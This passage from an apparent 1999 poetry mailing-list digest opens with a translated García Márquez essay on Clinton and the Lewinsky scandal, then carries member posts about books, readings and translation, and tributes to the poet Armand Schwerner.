Carlos Fuentes and I have good reason for considering that evening as a whole chapter in our memoirs. From the beginning, we were disarmed by the interest, respect and humor with which he listened to us, treating our words as if they were gold dust.

His mood corresponded with his appearance. His hair was short, like a scrubbing brush, his skin tanned -- he had the healthy and almost insolent look of a sailor ashore, and he was wearing a college sweat shirt with some logo on the chest. At 49, he looked like an exuberant survivor of the generation of '68, who had smoked marijuana, knew the Beatles by heart and had demonstrated against the Vietnam War.

Dinner began at 8, with some 14 guests around the table, and lasted until midnight. Bit by bit, the conversation came down to a kind of literary round table involving the president and the three writers. The first topic to come up was the forthcoming Summit of the Americas. Clinton had wanted it held in Miami, where it did take place. Carlos Fuentes considered that New Orleans or Los Angeles had stronger historical claims, and he and I argued strongly for them until it became clear that the president had no intention of changing his plans because he was counting on reelection support from Miami.

"Forget the votes, Mr. President," Carlos said to him. "Lose Florida and make history."

That phrase set the tone. When we spoke of the problems of narco-traffic, the president heard me out generously. "Thirty million drug addicts in the U.S. go to show that the North American mafia are more powerful than those in Colombia, and the authorities much more corrupt." When I spoke to him about relations with Cuba, he seemed even more receptive. "If Fidel and you could sit and talk face to face, all problems would completely disappear."

When we talked about Latin America in general, we realized that he was much more interested than we had supposed, although he lacked some essential background. When the conversation seemed to stiffen a bit, we asked him what his favorite movie was, and he answered "High Noon," by Fred Zinneman, whom he had recently honored in London. When we asked him what he was reading, he sighed and mentioned a book on the economic wars of the future, author and title unknown to me.

"Better to read 'Don Quixote,'" I said to him. "Everything's in there." Now, the 'Quixote' is a book that is not read nearly as much as is claimed, although very few will admit to not having read it. With two or three quotes, Clinton showed that he knew it very well indeed. Responding, he asked us what our favorite books were. Styron said his was "Huckleberry Finn."

I would have said "Oedipus Rex," which has been my bed table book for the last 20 years, but I named "The Count of Monte Cristo," mainly for reasons of technique, which I had some trouble explaining.

Clinton said his was the "Meditations of Marcus Aurelius," and Carlos Fuentes stuck loyally to "Absalom, Absalom," Faulkner's stellar novel, no question, although others would choose "Light in August" for purely personal reasons. Clinton, in homage to Faulkner, got to his feet and, pacing around the table, recited from memory Benji's monologue, the most thrilling passage, and perhaps the most hermetic, from "The Sound and the Fury."

Faulkner got us to talking about the affinities between Caribbean writers and the cluster of great Southern novelists in the United States. It made much more

sense to us to think of the Caribbean not as a geographical region surrounded by its sea but as a much wider historical and cultural belt stretching from the north of Brazil to the Mississippi Basin.

Mark Twain, William Faulkner, John Steinbeck and so many others would then be just as Caribbean as Jorge Amado and Derek Walcott. Clinton, born and raised in Arkansas, a Southern state, applauded the notion and professed himself happy to be a Caribbean.

It was close to midnight, and he had to break off the conversation to take an urgent call from Gerry Adams, to whom at that moment he gave the authority to campaign and raise funds in the United States for peace in Northern Ireland. That should have been the ending to an unforgettable evening, but Carlos Fuentes took it further by asking the president who he thought of as his enemies.

His reply was immediate and abrupt: "My only enemy is right-wing religious fundamentalism." That pronouncement ended the evening. The other times I saw him, in public or in private, I had the same impression as I had that first time. Bill Clinton was the complete opposite of the idea Latin Americans have of presidents of the United States.

Given all that, does it seem right that this exceptional human being should be prevented from fulfilling his historical destiny simply because he was unable to find a private place to make love? That is just what happened. The most powerful man in the world was kept from consummating his secret passions by the invisible presence of a Secret Service that served as much to restrain as to protect.

There are no curtains on the Oval Office windows, no bolt on the door of the president's private bathroom. The vase of flowers that appears behind the president in photographs of him at his desk has been claimed by the press to be a hiding-place for microphones to consecrate the mysteries of presidential audiences.

Even sadder, however, is the fact that the president only wanted to do what the run of men have done in private with their women from the beginning of the world, and a Puritan stolidity not only impeded him, but even denied him the right to deny it.

Jonas invented the literature of fiction when he convinced his wife that his homecoming was three days late because a whale had swallowed him. Sheltering behind that ancient argument, Clinton denied having any sexual relations with Monica Lewinsky, and denied it with his head held high, like any self-respecting unfaithful husband. In the end, his personal drama is a purely

domestic matter, between himself and Hillary, and she has stood by him in the eyes of the world with Homeric dignity.

It is one thing to lie in order to deceive; but it is quite another to conceal truths in order to protect that mythical dimension of human existence that is private life. Quite rightly, no one is obliged to give evidence against himself. For having persisted in his first denials, Clinton would have been prosecuted in any case -- that's what it was about -- but it is much more dignified to perjure oneself defending the privacy of the heart than to be absolved at the expense of love.

Disastrously, with the same insistence with which he had denied blame, he later admitted it and went on admitting it over all the media, written, visual and spoken, to the point of humiliation -- a fatal error in an uncertain lover, whose secret life will go into the history books not for having made love badly but for having made it a lot less glorious than it should be.

Ludicrously, he submitted to oral sex while he talked on the telephone with a senator. He supplanted himself with a frigid cigar. He naturally used all kinds of tricks of avoidance, but the more he tried the more his inquisitors came up with evidence against him, for Puritanism is insatiable and feeds on its own excrement.

It has been a vast and sinister conspiracy of fanatics aimed at the personal destruction of a political adversary whose stature they could not abide. The method was the criminal use of justice by a fundamentalist prosecutor called Kenneth Starr, whose fierce and salacious questioning seemed to excite these fanatics to the point of orgasm.

The Bill Clinton we met some four months ago, at a gala dinner in the White House for Andres Pastrana, president of Colombia, seemed quite different -- no longer the open-minded academic of Martha's Vineyard, but someone under sentence, thinner and uncertain, who could not conceal with a professional smile an organic weariness like the metal fatigue that destroys planes.

Some days before, at a press dinner with Katharine Graham, the golden woman of the Washington Post, someone had remarked that, judging by the trials of Clinton, the United States still seemed to be the country of Nathaniel Hawthorne. That night in the White House, I realized just what that meant.

The reference was to the great American novelist of last century, who denounced in his work the horrors of New England fundamentalism, where the witches of Salem were burned alive. His main novel, "The Scarlet Letter," is the drama of Hester Prynne, a young married woman who bore a child in secret by another man. A Kenneth Starr of the day condemned her to wear a penitent's shirt bearing the letter "A" of the Puritan code, the color and smell of blood.

An agent of the order followed her everywhere beating a drum so that pedestrians could keep out of her way. The ending must surely keep prosecutor Starr awake, for the secret father of Hester's child turned out to be a minister of the cult that made a martyr of her.

The method and the morality of the procedures were essentially the same. When Clinton's enemies failed to find what they needed to bring him down, they hounded him with mined interrogations until they trapped him here and there in minor inconsistencies. Then they forced him to accuse himself in public, and to apologize for things he had not even done, live, using the technology of universal information that is nothing more than a trimillennial version of the drums that persecuted Hester Prynne.

>From the prosecutor's questions, cunning and concupiscent, even small children became aware of the lies their parents told to keep from them how they came into being. Suffering from metal fatigue, Clinton committed the unpardonable folly of violently punishing an invented enemy 5,397 nautical miles from the White House, to distract attention from his personal plight.

Toni Morrison, winner of the Nobel Prize for literature and a great writer of this agonizing century, summed it up in one inspired phrase: "They treated him like a black president." SALON | Feb. 1, 1999

Translated by Alastair Reid

Gabriel García Márquez is the author of "One Hundred Years of Solitude," "Love in the Time of Cholera" and other books. He recently purchased the literary magazine Cambio, based in Colombia, to showcase the work of new Latin American authors and journalists, and this is the first article he has written for it.

© 1999 Cambio

↑ Index

53. Steven Shoemaker

Jameson ref

Wed 3 Feb 1999

Can anyone give me the citation for the notorious Jameson critique of Perelman & langpo? thanks, s

↑ Index

54. raea100900
Re: Pound Q: Dichtung equals...
Wed 3 Feb 1999

And I've been looking for the place where Ez praises H.D.'s work for being "straight as the Greek" with no "slither." I remember that but can't place it now.

Rae

↑ Index

55. Richard Carfagna
Re: robert lax
Wed 3 Feb 1999

Are you familiar with "Love had a Compass" publ. by Grove Press distributed by Publishers Book West.

From: POETICS[SMTP:[redacted]]
Sent: Tuesday, February 02, 1999 6:01 PM
To: [redacted]
Subject: robert lax

I am urgently trying to find either the complete (or an
historically-broad
selection from the) works of Robert Lax. Any suggestions? (Ideally with a
UK distributor!) Backchannel - mailto:[redacted]

↑ Index

56. daniel bouchard
Re: Clinton according to Gabriel Garcia Marquez
Thu 4 Feb 1999

Marquez could have nailed this had he said "to their women" rather than "with their women."

At 11:19 AM 2/3/99 -0500, you wrote:
>Even sadder, however, is the fact that the president only wanted to do what
>the run of men have done in private with their women from the beginning of
>the world, and a Puritan stolidity not only impeded him, but even denied him
>the right to deny it.

<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals

Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

↑ Index

57. Douglas
New Sun & Moon titles
Thu 4 Feb 1999

Sun & Moon Press has a number of new titles to announce. As usual, these are offered at a 20% discount to members of the Buffalo list.

Order from Sun & Moon Press, 6026 Wilshire Blvd., Los Angeles, CA 90036

[redacted]

HOW TO DO THINGS WITH WORDS, by Joan Retallack. $10.95
Retallack's most ambitious (and we believe wonderful) work yet! A collection of a beautiful frenzy of charts, drafts, encylopedias, dictionaries, lexicons, grammars, games, translations and just plain lingusitic arpeggios.

DON CARLOS, Thorvald Steen. $12.95

This novel, written by the young Norwegian writer, much beloved throughout Europe (he heads the Norwegian PEN organization), is a beautiful work of a young Italian laborer, living in Argentina in 1833, and writing home of his experiences, fears, intellectual doubts--most of them triggered by his chance meeting with a young English-man, Don Carlos, whom we know today and Charles Robert Darwin. The first volume of an incredible duet of fictions.

SEMMELWIES, Jens Bjorneboe $10.95

A play by the great Norwegian novelist and playright about the battles of Dr. Ignaz Semmelweiss, the founder of modern antiseptic techniques and the appalling events that happened because he argued for cleaning hands and insisted it was the major cause of "child-bed fever," which killed thousands of

child-bearing mothers each year. For his beliefs he was ridiculed by his collegues, hounded by the police, fired from his position at the Vienna General Hospital, had his works banned, and finally was diven insane. A powerful drama.

FROM THE OTHER SIDE OF THE CENTURY II: A New American Drama 1960-1995 $29.95

The second volume in Sun & Moon's ongoing tribute the the literary arts in the last quarter of this century, this huge 1,200 page volume contains 38 plays, beginning with the park bench couple of Edward Albee's THE ZOO STORY and ending with the cemetary of Tony Kushner's REVERSE TRANSCRIPTION. In between are works of great poetry and amazing drama, including plays by Tina Howe, Mac Wellman, Tennessee Williams, Ed Bullins, John Guare, Ronald Tavel, Lee Breuer, Adrienne Kennedy, Sam Shepard, Richard Foreman, Pedro Pietri, Holly Hughes, Maria Irne Fornes, Len Jenkin, Erik Ehn, John Steppling, Kier Peters, Suzan-Lori Parks, David Greensapn, Murray Medick, Naoimi Izuka, Lynne Alvarez, Rosalyn Drexler--and others. If you enjoy theater you can't miss this volume.

UNDER THE AUTUMN STAR, Knut Hamsun $11.95

The newest offering of the great Nobel Prize-winning novelist. A lyrical and touching early work.

MAGIA D'AMORE, Murray Pomerance $12.95

In the stories of this volume, Scarmouche, Pierrot, Columbine, Imbroglio, Credenzo, Don Horacio Stupenzo, Smeraldine, Comtesse Frangipane, and dozens of other stock and imaginary characters of the Commedia dell'Arte enter, exit, and recombine in a series of sexual, societal, and political encounters. These sometimes scatalogical, often scandalous, always sexual figures jump across the pages and time like puppets who have escaped their creator's hands.

TALES OF MURASAKI and Other Poems, Martine Bellen $10.95

Bellen's National Poetry Series winning collection. A brilliant work

NEW AND SELECTED POEMS, Charles North $12.95

One of our very best poets displaying his wonderful talents-- past and present--in this great collection.

So----------please let others know. Our death has been highly highly exaggerated.

↑ Index

58. Hank Lazer

Discount Offer: Louis Zukofsky and the Poetry of Knowledge

Thu 4 Feb 1999

Announcing an inaugural volume in the new series Modern and Contemporary Poetics, edited by Charles Bernstein and Hank Lazer

In _Louis Zukofsky and the Poetry of Knowledge_, Mark Scroggins provides a provocative and advanced introduction to the thought and writing of Louis Zukofsky, aptly described as one of the "first postmodernists."

Poet, translator, and editor, Louis Zukofsky was born in New York City in 1904. Raised to speak first Yiddish and then English, he was fascinated by language from an early age. This deep preoccupation with language_its musicality, complex constructions, and fluid meaning_later became a key component in the development of his poetry. Friend to William Carlos Williams, Marianne Moore, and Ezra Pound, mentor to Robert Creeley and influence on many of the Language Movement poets, Zukofsky and his work stand squarely at the center of American poetry's transition from modernism to postmodernism. Scroggins advances thoughtful readings of Zukofsky's key critical essays, a wide variety of his shorter poems, and his "poem of a life," _"A"_. He carefully situates Zukofsky within his literary and historical contexts, examining his relationship to Pound, his 1930s Marxist politics, and his sense of himself as a Jewish modernist poet. Scroggins also places Zukofsky within an ongoing tradition of American poetry, including the work of Wallace Stevens, Charles Bernstein, Ronald Johnson, Michael Palmer, and John Taggart.

According to Joseph M. Conte, SUNY-Buffalo, "Scroggins's argument for the importance of Louis Zukofsky's antiepistemological poetics in the 20th century is fundamentally exact and very often brilliant. Hugh Kenner has said that the critics would be elucidating Zukofsky's hermetic texts well into the 22nd century. Scroggins is the critic most capable of ushering our appreciation of Zukofsky into the 21st century."

312 pages, 6 x 9
unjacketed cloth, $49.95
ISBN 0-8173-0907-1
paper, $24.95s
ISBN 0-8173-0957-8

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www.uapress.ua.edu

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Scroggins/Louis Zukofsky, paper discounted price $19.96

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Enclosed as payment in full _____

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Expiration date _____
Full name_____
Signature _____
Address_____
City _____
State_____ Zip _____

↑ Index

59. Pritchett,Patrick

Re: Jameson ref

Thu 4 Feb 1999

Steven -

You can find it in the first chaper of FJ's _Postmodernism, or The Cultural Logic of Late Capitalism_ from Duke UP. Don't have a page cite handy but it's easy to

spot since he quotes in its entirety BP's poem "China." He goes to some lengths to illustrate how this poem represents the breakdown of the syntagmatic chain which for Lacan signifies schizophrenia. Perelman addresses this critique in a chapter of his in _Marginalization of Poetry_ - as I recall, it focuses on a discussion of the strategies of parataxis.

Best,
Patrick Pritchett

> *-----Original Message-----*
> *From: Steven Shoemaker [SMTP:[redacted]]*
> *Sent: Wednesday, February 03, 1999 11:07 AM*
> *To: [redacted]*
> *Subject: Jameson ref*
>
> *Can anyone give me the citation for the notorious Jameson critique of Perelman & langpo? thanks, s*

↑ Index

60. Christopher Reiner
Avec Reading
Thu 4 Feb 1999

Just a reminder:

The Second Bay Area Reading for _An Avec Sampler #2_:

Michael Palmer

Lisa Lubasch
(flying in from New York City)

Charles Borkhuis
(flying in from New York City)

Saturday, Feb. 6th; 5 p.m. at The Attic, 3336 24th Street, near Mission, across from the 24th Street Bart Station.
Phone:[redacted]. Free.

↑ Index

61. Jamie Ferguson
Re: Steiner, Venuti, Polish Baroque verse
Thu 4 Feb 1999

On 29 Jan. I posted an invitation to an exchange of views on literary translation, an attempt to present an issue or two in the field, and one of my own translations. Harold Teichman was kind enough to respond to my post - privately, and then doubly kind in allowing me to quote him in a public reply. I

hope Harold will forgive me for pulling him onto the open stage... my reason is simple:

I want to find out if the Poetics List, as it currently stands, is a place to discuss literary topics.

To my mention of three books on lit. transl. (Steiner's AFTER BABEL, Venuti's THE TRANSLATOR'S INVISIBILITY, and Barnstone's THE POETICS OF TRANSLATION), Harold answered that he had "mixed sympathies" about Steiner, that he hadn't gotten through BABEL, and asked what the other two authors where up to.

I wonder why exactly these sympathies are mixed, and about how other people react to Steiner - at least the Steiner in AFTER BABEL.

Harold also said that he has been working on translations of Celan for some time, and that he had recently been enthused by a conference at Stevens. I found a short description of the conference on the Stevens site, but would be very interested to find out in more detail what sorts of things went on.

In the meantime, here's my response. (You'll forgive the heavy-handed mis-en-scene in this letter. Shuttling back and forth between private and public correspondence is demanding work.)

As for Steiner: if you're interested to return to AFTER BABEL, you might look at two chapters in particular: "The Claims of Theory" and "The Hermeneutic Motion" - the latter is, in fact, a more detailed rehearsal of the matters treated in the former. You might not have reached these chapters if you only got half-way into the book; they contain the heart of what Steiner had to say about translation at the time. Much of the rest seems to me to represent a desire on his part to write a totalizing account of the subject - to place Translation in the larger field of Linguistics, and to square it with Interpretation in general. These are no doubt useful tasks in themselves, but in this book I don't see that they contribute anything much to the more particular points he makes in the two, central chapters mentioned above. The book, then, contains a high divide between the discussion of translation itself, the techniques and theories thereof, and extensive contextualization of Translation. The sole escapees of this division are the discussions, early in the book, of Borges' "Pierre Menard, Translator of the QUIXOTE" (if I remember that title correctly) and Benjamin's "The Task of the Translator": these sections are not included in the two central chapters, but are important for an understanding of what Steiner has to say there. They are, of course, two of the texts more referred to in The Literature On The Subject. "The Claims of Theory" and "The Hermeneutic Motion" are basic to an accounting of the history of strategies of, and views on, Translation.

Has anyone out there found recent work on the topic as good?

Venuti has written a book with a much more limited aim: to criticize a long-standing prejudice in Western taste for "natural"-sounding English in translation, for a language of translation that is inobtrusive, "invisible." He presents a chronological series of translations that were not written according to this model and shows how these translations were successfully rejected by various literary arbitrators, upholders of the "invisibility"-ideal. The real hero of the book, incidentally, is Paul Blackburn and his translations of the troubadors.

My complaint against Venuti is that in none of the translation-situations cited does he make an effort to demonstrate that the more obtrusive English is better suited to the task than a more transparent idiom would have been. He shows, for example, that Newmann's translation of Homer did not fit M. Arnold's ideals, that Arnold's ideals were in line with the "invisibility" of Venuti's book, and that Arnold managed to bully Newmann out of the ranks. For all of this, he quotes only one short extract from the actual translation, and the only analysis provided of the passage is... Arnold's! Venuti is preoccupied with demonstrating the repressive nature of this prejudice, and not its aesthetic wrongheadedness; he addresses censorship, not quality. This leaves the book, at least as far as I'm concerned, a headless trunk.

In any case, in reference to your translating Celan, it is interesting to find Joris taking it for granted, in his preface to BREATHTURN, that the point of good translation is to avoid "invisibility," to set the English of the translation into relief, by making it imitate foreign syntax, word formation, etc. (I don't have the book in front of me). Venuti's book seems to have made an impact.

I've only just started reading Barnstone.

As to your mention, Harold, of Beckett as translator: do you know his (collaborative) translations of Mexican poets, in an anthology edited by O. Paz? It is the only anthology of literature I have EVER seen that attempts to match the agedness of the English used in the translations with that of the source texts. Why aren't more anthologies produced in this way? How much patience would you have for an anthology of English literature in foreign translation, in which brother and sister Sidney were speaking language of the same period as were brother and sister Wordsworth?

Enough for now. We will come back to Pound later.

Some interesting sites for literary translation:

The University of Texas at Dallas Center for Literary Translation: http://www.utdallas.edu/research/cts/ (see also the special division on Literary Translation, Comparative Literature Department, at the University of Indiana, Bloomington)

Charles Bernstein's course, Resisting Translation:
http://writing.upenn.edu/epc/authors/bernstein/syllabi/transl.html

An electronic journal of translation (not just literary):
http://www.accurapid.com/journal/

A loose discussion of Benjamin, etc., on the RIF/T site:
http://writing.upenn.edu/epc/rift/rift04/edit0401.html

Others? (They are difficult to find.)

Yours, Jamie

Get Your Private, Free Email at http://www.hotmail.com

↑ Index

62. Michael Heller
(no subject)
Thu 4 Feb 1999

Dear Friends of Armand,

Sad news. Armand died this morning at 9AM. There will be a funeral service on Sunday, Feb. 6th, Visiting 11:30AM --1 PM, Service at 1 PM at the Bayport Funeral Home, 683 Montauk Highway in Bayport. Telephone No,. of funeral home (for directions, etc.) is [redacted].

↑ Index

63. Charles Bernstein
Armand Schwerner (1927-1999)
Thu 4 Feb 1999

Poet, Scholar-Translator, Teacher
Armand Schwerner
died at 9:06 this morning.

go into all the places you're frightened of
and forget why you came, like the dead
[...]

from nothing, from nothing, the stone beginning, tell me my name,
when I write and do accounts I am that other man
and keep from trembling, o at the heart's root is not cauldron but .....
come in come in come in come in says my pain
run from the sun, wander around in me and profit, the stars tell North
but little else.

From nothing from nothing find me my name, say
in some clear way if the end is sadness, how the days of fishing are numbered, say
whether may name begins in rage or music rooting about for its pleasure
o draw me from my Alabaster Self
my millstone quartz marl me take me from my smooth whiteness my absence
OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga
as a night lightens in dream rivers.
[...]
if the end is sadness, how the days of fishing are numbered, say saying I said
begins in rage or music rooting about for pleasure, it must be possible
says my pain, as night lightens in dream rivers. hunger the hunger. say is
.....
.....
.....
.....

(from The Tablets)

***

The funeral will be held this Sunday at Bayport Funeral Home,
683 Montauk Highway ([redacted])
11:30-1 Visiting
1pm Service
for further information contact Charles Morrow at
[redacted]

↑ Index

64. Aldon Nielsen
Armand Schwerner
Thu 4 Feb 1999

> *To: [redacted]*
> *From: Aldon Nielsen <[redacted]>*
> *Subject: Armand Schwerner*
>
> *If I remember correctly, the National Poetry Foundation (the Orono crew) is about to publish a collected TABLETS --*
>
> *and those of us who last saw Armand at Orono during the 50s conference came away with memories of his generosity and great enthusiasm -- My own favorite memory is of Armand teaching fellow passengers passages on the bamboo flute as our bus drove through impenetrable fog to an invisible tourist site --*

> *I also remember his comments on a panel at the conference (were they recorded by anybody?) where he spoke of that year in his youth when, as he put it, he "met the poets" --*
>
> *Armand was related, by the way, to Mickey Schwerner, the Civil Rights activist murdered in Mississippi along with his companions Goodman and Cheney -- Armand wrote movingly of this in his non-TABLETS poetry --*

↑ Index

65. Maria Damon (Maria Damon)
Re: Armand Schwerner (1927-1999)
Thu 4 Feb 1999

dont know why but i'm finding myself devastated by this info. i guess i expected to talk to him again, make amends for our tiffs over the XCP conference... armand the magnificently difficult, the sweetly cranky old yidl. deep breath. dissolve the tablets.

At 4:24 PM 2/4/99, Charles Bernstein wrote:
>Poet, Scholar-Translator, Teacher
>Armand Schwerner
>died at 9:06 this morning.
>
>
>go into all the places you're frightened of
>and forget why you came, like the dead
>[...]
>
>from nothing, from nothing, the stone beginning, tell me my name,
>when I write and do accounts I am that other man
>and keep from trembling, o at the heart's root is not cauldron but .....
>come in come in come in come in says my pain
>run from the sun, wander around in me and profit, the stars tell North
>but little else.
> From nothing from nothing find me my name, say
>in some clear way if the end is sadness, how the days of fishing are numbered,
>say
>whether may name begins in rage or music rooting about for its pleasure
>o draw me from my Alabaster Self
>my millstone quartz marl me take me from my smooth whiteness my absence

>OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga
>as a night lightens in dream rivers.
>++
>[...]
>if the end is sadness, how the days of fishing are numbered, say saying I said
>begins in rage or music rooting about for pleasure, it must be possible
>says my pain, as night lightens in dream rivers. hunger the hunger. say is
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>.....
>.....
>.....
>
>
>(from The Tablets)
>
>***
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>683 Montauk Highway ([redacted])
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>1pm Service
>for further information contact Charles Morrow at
>[redacted]

↑ Index

66. Maria Damon (Maria Damon)

Re: Armand Schwerner (1927-1999)

Thu 4 Feb 1999

---

miekal and i just wrote these words, they seem relevant:

[omniscient imagination] [All texts are hypertexts] if we love them equally; and to map is to love. Every word is yours as deep as you want to go. Every filament part of a rhizomatic intertext that sustains all life in its interstices. The delicacy of the narrative balance is countered by a natural decay. Nothing is ever really lost, and you can always return to surer ground if you must.

[All texts are hypertexts] In an ur-civilization where thought is pre-empted by survival, one sentence suffices for all sentences. Tragically, the words are so dear that they can only be the last words on the lips of the dying.

At 4:24 PM 2/4/99, Charles Bernstein wrote:
>Poet, Scholar-Translator, Teacher
>Armand Schwerner

>died at 9:06 this morning.
>
>
>go into all the places you're frightened of
>and forget why you came, like the dead
>[...]
>
>from nothing, from nothing, the stone beginning, tell me my name,
>when I write and do accounts I am that other man
>and keep from trembling, o at the heart's root is not cauldron but .....
>come in come in come in come in says my pain
>run from the sun, wander around in me and profit, the stars tell North
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> From nothing from nothing find me my name, say
>in some clear way if the end is sadness, how the days of fishing are numbered,
>say
>whether may name begins in rage or music rooting about for its pleasure
>o draw me from my Alabaster Self
>my millstone quartz marl me take me from my smooth whiteness my absence
>OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga
>as a night lightens in dream rivers.
>++
>[...]
>if the end is sadness, how the days of fishing are numbered, say saying I said
>begins in rage or music rooting about for pleasure, it must be possible
>says my pain, as night lightens in dream rivers. hunger the hunger. say is
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>***
>
>The funeral will be held this Sunday at Bayport Funeral Home,
>683 Montauk Highway ([redacted])
>11:30-1 Visiting
>1pm Service
>for further information contact Charles Morrow at
>[redacted]

↑ Index

67. **louis stroffolino**

Re: Armand Schwerner (1927-1999)

Thu 4 Feb 1999

I had the honor of opening for Armand when he read in Phila. in 87 or 88, and I remember asking him what he thought of Ashbery (I was Ashbery-obsessed at the time), and he said that he had doubts about JA because it was like the layers of an onion, "there was nothing underneath the layers," to which I replied "well, at least it can make you cry" and he said it didn't for him, and then someone ushered him away... and this poem that Charles has posted makes it clear, I guess, that he, too, was interested in the "nothing".....

(i haven't read him in awhile, but used to think those
Naranjara poems were his best.....)

"from nothing"--------
cs

On Thu, 4 Feb 1999, Charles Bernstein wrote:

> *Poet, Scholar-Translator, Teacher*
> *Armand Schwerner*
> *died at 9:06 this morning.*
>
> *go into all the places you're frightened of*
> *and forget why you came, like the dead*
> *[...]*
>
> *from nothing, from nothing, the stone beginning, tell me my name,*
> *when I write and do accounts I am that other man*
> *and keep from trembling, o at the heart's root is not cauldron but .....*
> *come in come in come in come in says my pain*
> *run from the sun, wander around in me and profit, the stars tell North*
> *but little else.*
> *From nothing from nothing find me my name, say*
> *in some clear way if the end is sadness, how the days of fishing are numbered, say*
> *whether may name begins in rage or music rooting about for its pleasure*
> *o draw me from my Alabaster Self*
> *my millstone quartz marl me take me from my smooth whiteness my absence*
> *OOualbpaga Dammara Damalo Karhenmou Amagaa ArigaaaAdambpaga*
> *as a night lightens in dream rivers.*
> *++*
> *[...]*

> *if the end is sadness, how the days of fishing are numbered, say saying I said*
> *begins in rage or music rooting about for pleasure, it must be possible*
> *says my pain, as night lightens in dream rivers. hunger the hunger. say is*
> *.....*
> *.....*
> *.....*
> *.....*
>
> *(from The Tablets)*
>
> ***
>
> *The funeral will be held this Sunday at Bayport Funeral Home,*
> *683 Montauk Highway ([redacted])*
> *11:30-1 Visiting*
> *1pm Service*
> *for further information contact Charles Morrow at*
> [redacted]

↑ Index

68. **charssmith**
Re: Armand Schwerner (1927-1999)
Thu 4 Feb 1999

THE SOUL IS A THING THAT SLITHERS

it all turns like the impossible
to hold, pauls mode, jerry's mode, teds mode, a la mode
turn by turn, how can you say
a style is a man when a man
dies every other week and comes up racoon or whatever strange thing
to himself constitutes surprise.

--Armand Schwerner
fr. _Seaweed_ (Black Sparrow, 1969)

↑ Index

69. **Chris McCreary**
address requests-- Synaesthetic, tight
Thu 4 Feb 1999

Hello. Hope address requests are in line w/ new list policies...

Does anyone out there know of e-mail addresses for either Alex Cigale & Synaesthetic or Ann Erickson & tight? If so, please backchannel.

Thanks for your time.

--Chris McCreary

↑ Index

70. Douglas Oliver
Re: Schwerner
Fri 5 Feb 1999

I'd like to send out a British message of regret at Armand Schwerner's death: here in Paris, we had been following the course of his illness with sadness.

The Tablets is a truly remarkable project in which so many of the concerns about language and certainty which keep returning to haunt modern poets were presented in terms of a mythical history, as if a scantly glimpsed civilisation were crossing through time, layered with ambiguity in its temporal voyage. I'm reminded of the fragments of a lost civilisation explored by the Magistrate in Coetzee's frightening book, Waiting for the Barbarians. The Tablets are not only the result of Armand's lifelong meditations upon language and spirituality (not least Tibetan), they are also funny. (He could get a little stiff with people who found them too funny and seemed to miss their depth.) I remember very fondly an evening in Paris when he read from the work and played his nose flute. (You see, even that becomes an unintentionally humorous sentence because of the word "nose": in fact, the nose flute made rather beautiful sounds and provided a sort of plainsong accompaniment to the twists and turns of the poetry.)

He was intensely serious about poetry, which is the essential mark of high talent. In the last conversation I had with him, he had picked up early the fact that the US now has an exciting younger generation of poets; and his enthusiasm then was, I think, typical of him. Mark's news of so much publication of his work is great; it must have been a better thought for him to retain amid the suffering of the last few months: a chance for the younger generations to pay back the attention he gave to them.

May I express sympathy and condolences to his closest circle, not least to Jackson M.

Best

Doug

↑ Index

71. Rebecca Wolff
Re: two ann(e)s are better
Fri 5 Feb 1999

So don't forget to come to our reading tomorrow:

Due to Anne Carson's mild but pernicious case of pneumonia, ANN LAUTERBACH will be stepping in graciously to join Jeffrey Eugenides at:

Saturday, 7 p.m.
St. Peter's Episcopal Church
346 W. 20th Street, between 8th and 9th.

ATTENDEES AT TOMORROW'S READING WILL RECEIVE A CHIT FOR HALF-PRICE ADMISSION TO ANNE CARSON'S READING, WHICH HAS BEEN RE-SCHEDULED FOR MARCH 6TH.

Admission is $7, or $12 gets you a year's subscription to Fence. RECEPTION TO FOLLOW.

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72. Douglas
another death
Fri 5 Feb 1999

Yet another death that is worth mentioning to the group. The New York Times reported yesterday that Marion Boyars died. Marion was one of the great publishers, publishing work in Britian by major world authors. For many years she and John Calder together published Calder & Boyars, the British publishers of Samuel Beckett, Henry Miller, Ken Kesey, John Cage, Eugene Ionesco, Jean Genet and many, many others. Together they fought pornography charges in Britian for their publication of Hubert Selby's Last Exit to Brooklyn. They lost, but won later in further cases. Calder and Boyars split up in the late 1960s, and both continued to publish. Marion published Julio Cortazar, Geroges Bataille, Ingmar Bergman, Elias Canetti, Kenzaburo Oe, and Michael Ondaatje--to name but a few. She was a true original: highly eccentric and passionate about good literature.

Douglas Messerli

↑ Index

73. Judy Roitman
A Chicago reading
Fri 5 Feb 1999

Stanley Lombardo will be reading from his translation of the Iliad and giving a short talk on the art and practice of translation at The Poetry Center of Chicago, in the Ballroom of the School of the Art Institute, 37 South Wabash Avenue, 6:00 pm Wednesday, February 17. For more information call [redacted].

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

74. Christina Fairbank Chirot
Re: alchemy bibliography
Fri 5 Feb 1999

---

actually one of the finest essays i know on the relations of .poetry and alchemy (aand a passionate defense of poetry)--is a letter written in Rodez asylum on 7 March 1946 by Antonin Artaud which was never sent and reworked as an esssay--the piece by Artaud is found in WATCHFIENDS & RACK SACREAMS WORKS FROM THE FINAL PERIOD and is cALLED "ON THE CHIMERES" IT IS on pp. 49-64 of the book, wwhich is edited & translated by Clayton Eshleman with Bernard Bador(Exact Change Boston, 1995) Artaud was writng to the critic Georges Le Breton, who had published an essay on Gerard de Nerval, called "la Cle des Chimeres: l'Alchimie" (Alchemy: the key to the Chimeres). Artaud asserts the explosion of the Great Work in Nerval's 12 sonnets is far greater than anything ever accomplished by real alchemy.
This is one of the finest and most lucid of any of Artaud's essays, from the point of view of a poet, who like Nerval was interned in asylums. The lucid, passionate lyricism when dealing with the most troubling aspects of madness to my mind echoes the astonishing AURELIA by Nerval (his last work before hanging himself). It also invokes the soaring, searing sonnets by Nerval.
Two recommended translations of "Les Chimeres" are that of Robert Duncan in BENDING THE BOW (New Directions 1968) and reprinted in Gerard de Nerval AURELIA AND OTHER WRITINGS Exact Change, 1995)--and also a very

